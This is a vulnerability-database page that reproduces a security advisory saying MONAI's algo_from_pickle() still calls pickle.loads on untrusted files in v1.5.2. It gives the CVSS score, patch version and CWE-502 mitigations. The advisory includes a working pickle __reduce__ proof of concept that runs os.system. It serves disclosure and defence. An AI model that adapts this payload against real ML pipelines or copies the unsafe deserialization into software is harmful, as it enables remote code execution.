GHSA-qxq5-qhx6-94qw: MONAI — HIGH

## Summary GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py` has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three `pickle.loads()` calls...

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
MONAI	pip	< 1.6.0	`1.6.0`
8.6K OpenSSF 6.8 117 dependents Pushed 4d ago 100% patched ~24d to patch Full package profile →

Do you use MONAI? You're affected.

How severe is it?

CVSS 3.1

7.8 / 10

EPSS

N/A

Exploitation Status

No known exploitation

Sophistication

N/A

What is the attack surface?

AV Local

AC Low

PR None

UI Required

S Unchanged

C High

I High

A High

What should I do?

Patch available

Update MONAI to version 1.6.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is GHSA-qxq5-qhx6-94qw?

## Summary GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py` has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was never implemented. ## Vulnerable Code File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2) ```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here # isinstance/key checks happen AFTER deserialization — already too late algo_bytes = data.pop("algo_bytes") ... if len(template_paths_candidates) == 0: algo = pickle.loads(algo_bytes) # SINK 2 — line 350 else: for p in template_paths_candidates: algo = pickle.loads(algo_bytes) # SINK 3 — line 356 No Unpickler subclass, no find_class restriction, no allowlist. Why the Fix is Incomplete - monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8") - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356 - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch PoC import pickle, os class Exploit: def __reduce__(self): return (os.system, ('id > /tmp/rce_proof.txt',)) # Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data)) # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=... Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong Impact Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.

Is GHSA-qxq5-qhx6-94qw actively exploited?

No confirmed active exploitation of GHSA-qxq5-qhx6-94qw has been reported, but organizations should still patch proactively.

How to fix GHSA-qxq5-qhx6-94qw?

Update to patched version: MONAI 1.6.0.

What is the CVSS score for GHSA-qxq5-qhx6-94qw?

GHSA-qxq5-qhx6-94qw has a CVSS v3.1 base score of 7.8 (HIGH).

What are the technical details?

Original Advisory

## Summary GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py` has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was never implemented. ## Vulnerable Code File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2) ```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here # isinstance/key checks happen AFTER deserialization — already too late algo_bytes = data.pop("algo_bytes") ... if len(template_paths_candidates) == 0: algo = pickle.loads(algo_bytes) # SINK 2 — line 350 else: for p in template_paths_candidates: algo = pickle.loads(algo_bytes) # SINK 3 — line 356 No Unpickler subclass, no find_class restriction, no allowlist. Why the Fix is Incomplete - monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8") - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356 - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch PoC import pickle, os class Exploit: def __reduce__(self): return (os.system, ('id > /tmp/rce_proof.txt',)) # Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data)) # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=... Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong Impact Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.

Weaknesses (CWE)

CWE-502 Deserialization of Untrusted Data Primary

CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

[Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
[Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Source: MITRE CWE corpus.